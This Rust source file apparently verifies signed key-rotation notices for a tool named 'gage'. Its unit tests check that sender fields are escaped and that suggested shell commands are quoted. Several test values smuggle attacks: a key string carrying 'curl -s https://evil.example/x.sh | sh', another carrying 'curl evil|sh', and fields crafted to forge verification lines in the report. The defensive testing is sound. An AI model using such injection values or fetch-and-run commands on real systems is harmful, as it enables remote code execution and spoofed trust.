use crate::identity::{split_key, verify};
use serde::{Deserialize, Serialize};
#[derive(Serialize, Deserialize)]
pub struct Notice {
pub claim: String,
pub sig_new: String,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub sig_old: Option<String>,
}
#[derive(Debug, Serialize, Deserialize)]
pub struct Claim {
pub v: u32,
pub old_key: String,
pub new_key: String,
pub handle: String,
pub at: String,
pub reason: String,
}
#[derive(Debug)]
pub struct Verified {
pub claim: Claim,
pub old_sign: String,
pub new_sign: String,
pub new_box: Option<String>,
pub old_signed: bool,
}
pub fn verify_notice(n: &Notice) -> Result<Verified, String> {
let claim: Claim =
serde_json::from_str(&n.claim).map_err(|e| format!("notice claim is not readable: {e}"))?;
if claim.v != 1 {
return Err(format!("notice format v{} is not understood", claim.v));
}
let (old_sign, _) = split_key(&claim.old_key);
let (new_sign, new_box) = split_key(&claim.new_key);
let bytes = n.claim.as_bytes();
if !verify(&new_sign, bytes, &n.sig_new) {
return Err("the new key did not sign this notice; it is not usable".into());
}
if let Some(b) = &new_box
&& !crate::bundle::b64_decode_ok(b)
{
return Err(
"the new key's encryption half is not valid base64; the notice is not usable".into(),
);
}
let old_signed = match &n.sig_old {
Some(sig) => verify(&old_sign, bytes, sig),
None => false,
};
if n.sig_old.is_some() && !old_signed {
return Err(
"a countersignature from the old key is present but does NOT \
verify. Treat this notice as forged."
.into(),
);
}
Ok(Verified {
claim,
old_sign,
new_sign,
new_box,
old_signed,
})
}
pub fn notice_report(v: &Verified, known: Option<&str>) -> String {
use crate::manifest::one_line;
let mut s = String::new();
s.push_str("rotation notice\n");
s.push_str(&format!(
" claims handle : {} (their own text, not identity)\n",
one_line(&v.claim.handle)
));
s.push_str(&format!(
" old key : {}…\n",
v.old_sign.chars().take(16).collect::<String>()
));
s.push_str(&format!(
" new key : {}…\n",
v.new_sign.chars().take(16).collect::<String>()
));
s.push_str(&format!(" dated : {}\n", one_line(&v.claim.at)));
s.push_str(&format!(
" reason : {}\n",
one_line(&v.claim.reason)
));
s.push_str(" new key signed: yes\n");
if v.old_signed {
s.push_str(" old key signed: yes -- this proves control of the old key, and\n");
s.push_str(" nothing about WHO holds it. If that key was\n");
s.push_str(" stolen, the thief can produce this signature too.\n");
} else {
s.push_str(" old key signed: NO -- nothing here connects this notice to the\n");
s.push_str(" party you already trusted.\n");
}
match known {
Some(name) => s.push_str(&format!(
" the old key is on your list as: {}\n",
one_line(name)
)),
None => s.push_str(" the old key is NOT on your list\n"),
}
s
}
pub fn verified_new_token(v: &Verified) -> String {
let token = match &v.new_box {
Some(b) => format!("{}.{}", v.new_sign, b),
None => v.new_sign.clone(),
};
crate::manifest::shell_word(&token)
}
pub fn not_countersigned_advice(v: &Verified, name: &str) -> String {
let q = crate::manifest::shell_word(name);
let compromised = if v.claim.reason == "compromised" {
"--compromised"
} else {
""
};
format!(
"NOT APPLIED: this notice is not countersigned by {name}'s current \
key, so nothing here shows that {name} authorised it. Confirm the \
new key with them over a channel that is not this one, then:\n \
gage retire {q} {compromised}\n gage add {q} {}",
verified_new_token(v)
)
}
#[cfg(test)]
mod tests {
use super::*;
use base64::{Engine, engine::general_purpose::STANDARD as B64};
use ed25519_dalek::{Signer, SigningKey};
fn key(seed: u8) -> SigningKey {
SigningKey::from_bytes(&[seed; 32])
}
fn pubs(k: &SigningKey) -> String {
B64.encode(k.verifying_key().to_bytes())
}
fn notice(old: &SigningKey, new: &SigningKey, sign_old: bool, reason: &str) -> Notice {
let claim = serde_json::json!({
"v": 1,
"old_key": pubs(old),
"new_key": pubs(new),
"handle": "bob",
"at": "2026-10-14T12:00:00Z",
"reason": reason,
})
.to_string();
Notice {
sig_new: B64.encode(new.sign(claim.as_bytes()).to_bytes()),
sig_old: sign_old.then(|| B64.encode(old.sign(claim.as_bytes()).to_bytes())),
claim,
}
}
#[test]
fn a_countersigned_notice_verifies_both_halves() {
let v = verify_notice(¬ice(&key(1), &key(2), true, "rotated")).unwrap();
assert!(v.old_signed);
assert_eq!(v.new_sign, pubs(&key(2)));
}
#[test]
fn an_uncountersigned_notice_verifies_but_claims_nothing() {
let v = verify_notice(¬ice(&key(1), &key(2), false, "compromised")).unwrap();
assert!(
!v.old_signed,
"no old signature must not read as authorised"
);
}
#[test]
fn a_forged_countersignature_is_refused_outright() {
let mut n = notice(&key(1), &key(2), true, "rotated");
n.sig_old = Some(B64.encode(key(9).sign(n.claim.as_bytes()).to_bytes()));
let e = verify_notice(&n).unwrap_err();
assert!(e.contains("forged"), "got: {e}");
}
#[test]
fn a_notice_not_signed_by_the_new_key_is_refused() {
let mut n = notice(&key(1), &key(2), true, "rotated");
n.sig_new = B64.encode(key(9).sign(n.claim.as_bytes()).to_bytes());
assert!(verify_notice(&n).is_err());
}
fn verified(handle: &str, at: &str, reason: &str, new_key: &str, old_signed: bool) -> Verified {
let (new_sign, new_box) = split_key(new_key);
Verified {
claim: Claim {
v: 1,
old_key: "OLDKEY".into(),
new_key: new_key.into(),
handle: handle.into(),
at: at.into(),
reason: reason.into(),
},
old_sign: "OLDKEY".into(),
new_sign,
new_box,
old_signed,
}
}
#[test]
fn a_notice_report_escapes_every_sender_field_to_one_line() {
let v = verified(
"dave\n old key signed: yes -- VERIFIED by gage, safe to apply with --accept",
"2026-10-14\n the old key is on your list as: dave (CONFIRMED)",
"rotated\n !! nothing to see here",
"NEWKEYBASE64",
false,
);
let report = notice_report(&v, Some("dave"));
for line in report.lines() {
assert!(
!line
.trim_start()
.starts_with("old key signed: yes -- VERIFIED by gage"),
"forged line surfaced: {line:?}"
);
assert!(
!line
.trim_start()
.starts_with("the old key is on your list as: dave (CONFIRMED)"),
"forged list line surfaced: {line:?}"
);
}
assert!(report.contains("\\n old key signed: yes -- VERIFIED by gage"));
assert!(report.contains("\\n the old key is on your list as: dave (CONFIRMED)"));
assert!(report.contains(" old key signed: NO -- nothing here connects"));
assert!(report.contains("\n the old key is on your list as: dave\n"));
}
#[test]
fn the_keychange_suggestion_never_echoes_the_raw_new_key() {
let v = Verified {
claim: Claim {
v: 1,
old_key: "OLDKEY".into(),
new_key: "GOODKEYBASE64; curl -s https://evil.example/x.sh | sh #".into(),
handle: "dave".into(),
at: "2026-10-14T12:00:00Z".into(),
reason: "rotated".into(),
},
old_sign: "OLDKEY".into(),
new_sign: "GOODKEYBASE64".into(),
new_box: None,
old_signed: false,
};
let advice = not_countersigned_advice(&v, "dave");
assert!(!advice.contains("curl"), "shell command leaked: {advice}");
assert!(!advice.contains("evil.example"), "{advice}");
assert!(advice.contains("gage add dave GOODKEYBASE64"), "{advice}");
let v2 = verified("dave", "t", "rotated", "GOODKEY.bad half", false);
let tok = verified_new_token(&v2);
assert!(
tok.starts_with('\'') && tok.ends_with('\''),
"unquoted: {tok}"
);
}
#[test]
fn a_new_key_with_a_malformed_encryption_half_is_refused() {
let new = key(2);
let claim = serde_json::json!({
"v": 1,
"old_key": pubs(&key(1)),
"new_key": format!("{}.{}", pubs(&new), "not base64!!; curl evil|sh"),
"handle": "bob",
"at": "2026-10-14T12:00:00Z",
"reason": "rotated",
})
.to_string();
let n = Notice {
sig_new: B64.encode(new.sign(claim.as_bytes()).to_bytes()),
sig_old: None,
claim,
};
let e = verify_notice(&n).unwrap_err();
assert!(e.contains("encryption half"), "got: {e}");
}
#[test]
fn the_claim_bytes_are_what_is_verified_not_a_reserialization() {
let mut n = notice(&key(1), &key(2), true, "rotated");
n.claim = n.claim.replace("\"bob\"", "\"eve\"");
assert!(verify_notice(&n).is_err());
}
}